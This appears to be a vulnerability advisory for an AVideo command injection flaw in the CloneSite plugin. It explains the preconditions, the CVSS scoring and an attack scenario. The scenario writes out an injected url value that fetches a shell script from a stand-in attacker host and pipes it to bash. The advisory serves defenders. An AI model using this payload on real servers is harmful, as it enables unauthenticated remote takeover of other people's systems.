AVideo CVE-2026-41304

Exploitation requires the CloneSite plugin to be installed and enabled in the AVideo instance-this is not part of the default core installation but a separately activated plugin. The vulnerable endpoint cloneServer.json.php must be accessible over the network, which occurs in standard deployments that expose the plugin directory. No authentication is required (PR:N confirmed by CVSS vector), making any internet-facing installation with this plugin an exploitable target. No special user interaction (UI:N) or complex timing/race conditions (AC:L/AT:N) are needed. The vulnerability affects PHP-based deployments on any operating system, as the command injection occurs in server-side PHP code using system exec() calls. Limiting factors: Organizations that never installed the CloneSite plugin are not vulnerable. Deployments with cloneServer.json.php restricted to administrative IP ranges via reverse proxy or firewall rules reduce exposure but remain vulnerable to authenticated users or attackers who pivot through the network perimeter.

This vulnerability presents critical real-world risk with multiple confirming indicators. CVSS 8.9 (Critical severity) reflects the worst-case attack profile: network-accessible (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and complete compromise of confidentiality, integrity, and availability (VC:H/VI:H/VA:H). The CVSS 4.0 Exploit Maturity indicator shows E:P (proof-of-concept exists), meaning functional exploit code is publicly available. This is a genuine priority threat-the combination of unauthenticated remote access, command injection leading to complete server compromise, and available exploit code creates immediate operational risk. No EPSS score or CISA KEV status provided in source data, but the technical characteristics (network-exploitable RCE with POC) suggest high likelihood of exploitation attempts. Internet-facing AVideo installations, particularly those with the CloneSite plugin enabled, face imminent risk of full server takeover. The scope metric (SC:N/SI:N/SA:N) indicates no impact beyond the vulnerable component, limiting lateral movement but not reducing severity of the initial compromise.

An unauthenticated remote attacker identifies an internet-exposed AVideo installation through banner grabbing or Shodan search. They send a crafted HTTP POST request to /plugin/CloneSite/cloneServer.json.php with a malicious url parameter containing: 'http://example.com; curl http://attacker.com/shell.sh | bash ;'. The vulnerable PHP code concatenates this input directly into exec('wget [malicious_input]'), causing the server to execute the injected commands. The attacker establishes a reverse shell, gains code execution as the web server user (typically www-data or nginx), escalates privileges through kernel exploits or misconfigured sudo permissions, and achieves full server compromise. Proof-of-concept code exists (E:P), lowering the skill threshold for exploitation.